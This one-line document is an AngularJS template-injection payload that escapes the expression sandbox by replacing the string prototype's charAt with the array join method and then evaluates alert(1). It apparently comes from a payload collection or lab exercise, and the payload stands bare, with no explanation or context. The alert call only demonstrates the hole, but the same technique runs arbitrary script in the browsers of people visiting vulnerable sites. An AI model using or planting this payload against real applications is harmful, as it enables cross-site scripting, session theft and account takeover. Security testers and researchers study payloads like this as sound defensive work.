{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}